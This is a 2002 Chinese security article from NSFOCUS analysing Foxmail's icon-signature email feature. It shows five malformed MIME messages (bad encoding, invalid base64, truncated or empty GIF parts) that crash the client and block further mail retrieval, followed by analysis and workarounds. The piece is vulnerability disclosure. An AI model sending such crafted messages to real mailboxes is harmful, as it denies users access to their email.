首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第28期->技术专题
期刊号: 类型: 关键词:
Foxmail 安全性分析

作者:analysist < analysist@nsfocus.com >
主页:http://www.nsfocus.com
日期:2002-01-20

声明:请不要利用本文的任何内容或方法进行破坏,否则由此导致的一切后果自负!

【前言】

前几天收到一封网友的来信,信件的内容没有什么,但是奇怪的是Foxmail提示来信的时候,还有一个漂亮的小图标,挺有意思的。

开始我还以为又是利用那个**agent搞的玩意,但是仔细一想感觉不是,赶紧翻了一下Foxmail的帮助,在新增功能中找到了如下内容:

    个性图标签名邮件
    Foxmail在收信,忽然,一个可爱的小动物跑到了你的屏幕上,您一看就知道是好朋友来信了。用鼠标轻点,小动物立刻帮你把邮件打开。这就是Foxmail提供的个性图标签名邮件功能。

的确是不错的功能!:)

由于职业的特点和个人的习惯,我就想看看该功能是不是有什么漏洞!:~

【尝试】

首先,先创建一封个性图标签名邮件,具体步骤为:

1. 账户->属性->账户属性>个人信息>在邮件中使用个性图标(复选)->选择图标(选择Foxmail提供的小动画或其他喜欢的.gif格式的小图片或者动画作为个性签名)->确定

2. 打开写邮件窗口, 你会看到刚才选择的个性图标。填入一些发信的必要信息,比如:
收件人:analysist@notfound.org
主  题:Hi
内  容:Thiz is a test!

3. 保存。

其次,在发件箱中选中该邮件,然后进行如下操作:文件->导出邮件->另保存->确定。

最后,用UltraEdit打开该邮件,我们可以看到如下内容:

From: analysist <analysist@notfound.org>  //发信人
To: analysist@notfound.org <analysist@notfound.org>  //收件人
Subject: Hi  //主题
X-mailer: FoxMail 4.0 beta 2 [cn]  //邮件客户端
Mime-Version: 1.0  //MIME版本
Content-Type: multipart/mixed;  //MIME类型
      boundary="=====000_Dragon220814422407_====="  //指定分界符

This is a multi-part message in MIME format.  //注释?

--=====000_Dragon220814422407_=====  //分界符
Content-Type: text/plain;  //MIME类型
charset="GB2312"  //字符集
Content-Transfer-Encoding: base64  //编码方式

VGhpeiBpcyBhIHRlc3QhDQo=  //信件内容,这里就是base64编码后的“Thiz is a test!”

--=====000_Dragon220814422407_=====  //分界符
Content-Type: image/gif;  //MIME类型
name="pikaqu.gif"  //文件名
Content-Transfer-Encoding: base64  //编码方式
Content-Disposition: FoxmailIcon;  //这是Foxmail自己的定义,其它客户端是不支持的
filename="pikaqu.gif"  //文件名

R0lGODlhIAAgAKIAAFUAACoAAP9fAP+/AP+fAP//AAAAAACAgCH/C05FVFNDQVBFMi4wAwEAAAAh/g5
CdWlsdCBieSBaaXBweQAh+QQBZAAHACwAAAAAIAAgAAAD/ni63P4wykmrveSYS7P5m/MdmWUQwPiARk
BkKAiU51AMbgCIgD0YqV5hOAgSfLHhrlG7BWzD6E1ATA4DK8EPKiUOtASBIRpaGQbH7m3AFggCUWwEQ
C8Quqgo/V6QR84fXFcfRGcFAH4QAIdjcFEaB3YCM3xLWYJqkmFAfIkMBm59OEKLQ25uYycBZUxubE84
T1FhqDNiJQ89bLu8UJuULhIoaC/FL1o3qagTZ8bOAnypiBRj0M5hUkUfnitHLsZwX7vbFS1Fu8MEsGg
tFy1Hu5MubJu4E6vWL/QEQNCTJi8AuCnGzobAEwA3DQwj8AgobhJATZKRwk0KiBNSOODXCY6Dx48gQ3
5MAAAh+QQBZAAHACwAAAAAIAAgAAAD/ni63P4wykmrveSYS7P5m/MdmWUQwPiARkBkKAiU51AMbgCIg
D0YqV5hOAgSfLHhrlG7BWzD6E1ATA4DK8EPKiUOtASBIRpaGQbH7m3AFggCUWwEAFAPCVI6viCPnEFS
LR9EZwUAfRB1cXYFYTN7S1lcjGFhQHuIDAZufDhCigVubmMnAWVMbmxPOE9RYaMzYiUPPWy2t1CWjy4
SKGgvwC9aN6SjE2fByQJ7pIcUY8vJYVJFH5krRy7BcF+21hUtRba+BKtoLRctR7YCh+uWsxOm0S9sL0
DL7SYvAG7A5zb6ndhnyZ+jZT/ecNjUTkYKNymuUUjhgMA3DhgzatyYAjEBADs=  
//编码后的图标内容

--=====000_Dragon220814422407_=====--  //分界符

经过简单的操作和分析,我们知道Foxmail对于个性图标的格式进行了检查,也就是说,你所提交的必须是符合GIF格式的图片,而且大小为64X64象素。另外一点就是,Foxmail并不根据你为个性图标所指定的“Content-Type”来进行不同的处理,而是只把它当作“image/gif”。



【实验】

难道我们真的无从下手?其实未必,让我们进行如下的几个实验:

实验一:修改个性图标编码方式

         将Foxmail个性图标部分改为下面的样子:

--------------------------------snip-------------------------------------

Content-Type: image/gif;  //MIME类型
name="pikaqu.gif"  //文件名
Content-Transfer-Encoding: base00  //修改为其它或不存在的编码方式
Content-Disposition: FoxmailIcon;  //这是Foxmail自己的定义,其它客户端是不支持的
filename="pikaqu.gif"  //文件名

--------------------------------snip-------------------------------------

         然后导入该邮件并发送,过一些时间后,收取该帐号的邮件,猜猜你会看到什么?


实验二:修改个性图标内容

         在Foxmail个性图标的编码内容中增加base64中不存在的字符:
--------------------------------snip-------------------------------------

R0lGODlhIAAgAKIAAFUAACoAAP9fAP+/AP+fAP//AAAAAACAgCH/C05FVFNDQVBFMi4wAwEAAAAh/g5
CdWlsdCBieSBaaXBweQAh+QQBZAAHACwAAAAAIAAgAAAD/ni63P4wykmrveSYS7P5m/MdmWUQwPiARk
BkKAiU51AMbgCIgD0YqV5hOAgSfLHhrlG7BWzD6E1ATA4DK8EPKiUOtASBIRpaGQbH7m3AFggCUWwEQ
C8Quqgo/V6QR84fXFcfRGcFAH4QAIdjcFEaB3YCM3xLWYJqkmFAfIkMBm59OEKLQ25uYycBZUxubE84
T1FhqDNiJQ89bLu8UJuULhIoaC/FL1o3qagTZ8bOAnypiBRj0M5hUkUfnitHLsZwX7vbFS1Fu8MEsGg
tFy1Hu5MubJu4E6vWL/QEQNCTJi8AuCnGzobAEwA3DQwj8AgobhJATZKRwk0KiBNSOODXCY6Dx48gQ3
5MAAAh+QQBZAAHACwAAAAAIAAgAAAD/ni63P4wykmrveSYS7P5m/MdmWUQwPiARkBkKAiU51AMbgCIg
D0YqV5hOAgSfLHhrlG7BWzD6E1ATA4DK8EPKiUOtASBIRpaGQbH7m3AFggCUWwEAFAPCVI6viCPnEFS
LR9EZwUAfRB1cXYFYTN7S1lcjGFhQHuIDAZufDhCigVubmMnAWVMbmxPOE9RYaMzYiUPPWy2t1CWjy4
SKGgvwC9aN6SjE2fByQJ7pIcUY8vJYVJFH5krRy7BcF+21hUtRba+BKtoLRctR7YCh+uWsxOm0S9sL0
DL7SYvAG7A5zb6ndhnyZ+jZT/ecNjUTkYKNymuUUjhgMA3DhgzatyYAjEBADs=?  
//注意最后增加的“?”

--------------------------------snip-------------------------------------

         导入邮件,发送,接收,我们又看到了什么?



实验三:删减个性图标内容

         适当删减Foxmail个性图标的编码内容:
--------------------------------snip-------------------------------------

R0lGODlhIAAgAKIAAFUAACoAAP9fAP+/AP+fAP//AAAAAACAgCH/C05FVFNDQVBFMi4wAwEAAAAh
--------------------------------snip-------------------------------------

         导入邮件,发送,接收:



实验四:删除个性图标内容

         这次我们完全删除Foxmail个性图标内容:

--------------------------------snip-------------------------------------

--=====000_Dragon220814422407_=====  //分界符
Content-Type: image/gif;  //MIME类型
name="pikaqu.gif"  //文件名
Content-Transfer-Encoding: base64  //编码方式
Content-Disposition: FoxmailIcon;  //这是Foxmail自己的定义,其它客户端是不支持的
filename="pikaqu.gif"  //文件名

--=====000_Dragon220814422407_=====--  //分界符
--------------------------------snip-------------------------------------
        

         废话少说,我们再来看看发生了什么:



实验五:修改信件内容

         这次我们对信件内容进行一下修改,我们增加base64编码中没有的字符:

--------------------------------snip-------------------------------------

Content-Type: text/plain;  //MIME类型
charset="GB2312"  //字符集
Content-Transfer-Encoding: base64  //编码方式
VGhpeiBpcyBhIHRlc3QhDQo=>  //注意后面的“>”
--------------------------------snip-------------------------------------

         我们看看效果:



         注:本文的测试环境为:Microsoft Windows 2000 Professional + Foxmail v2.0 beta 2



【危害】

前面四个问题造成的危害基本相同,就是无法删除服务器上的该邮件,也无法接收邮件队列中位于该邮件之后的邮件。后面的一个问题只是具有一定的骚扰效果,没有其它严重的问题,但是如果别人给你发送大量这样的垃圾邮件呢?



【分析】

由于本人没有源代码以及能力所限,所以下面的分析仅供参考:

漏洞一:Foxmail接收模块收取邮件后,检查“Content-Transfer-Encoding”,如果不是自己支持的编码方式,就不对其进行解码,由于该邮件中存在Foxmail自定义的标记,因此Foxmail调用图象处理函数对个性图标进行处理,由于该内容没有被解码,而Foxmail的图象处理函数只处理特定版本和大小的GIF图像,因此Foxmail的图像处理函数在处理个性图标头部时即出错终止,而没有进行删除该邮件的操作。

漏洞二:Foxmail接收模块在对个性图标内容进行解码时,没有检查其是否符合base64算法要求,从而导致出错终止。

漏洞三:Foxmail接收模块的图象处理函数对个性图标头部解码正确,但是由于个性图标内容被删减,因此处理后的个性图标不符合GIF图象格式,因此出错终止。

漏洞四:Foxmail接收模块收取邮件时,并没有检查邮件内容,而是根据其中项的多少分配相应大小的数组。但是在将项的内容存入数组时,检查到了Foxmail自定义的标记,虽然我们删除了个性图标内容,但是Foxmail仍然为其分配了一个空值,从而导致数组越界而终止。

漏洞五:Foxmail接收模块按照“Content-Transfer-Encoding”指定的编码方式对信件内容进行解码,但是由于信件中包含base64算法中不存在的字符,因此Foxmail弹出窗口提示出错,但是并不终止。

通过以上的分析,我们可以看出Foxmail在错误检查以及处理错误的方式上还需要很多的改进,国产软件任重而道远啊!



【解决】

目前的临时解决方法主要有以下三个:

1.   使用Foxmail提供的远程邮件管理功能删除有害邮件
2.   暂时换用其它客户端软件
3.   使用Telnet程序删除服务器上的有害邮件,具体命令可以参考相关文档

注:由于我们可以轻易改变“From:”域的值,从而达到匿名邮件的效果,因此通过邮件过滤恐怕无法达到预期的效果。



【其它】

没什么需要多说的了,只要编程的时候多想一些不可能的事就好!
版权所有,未经许可,不得转载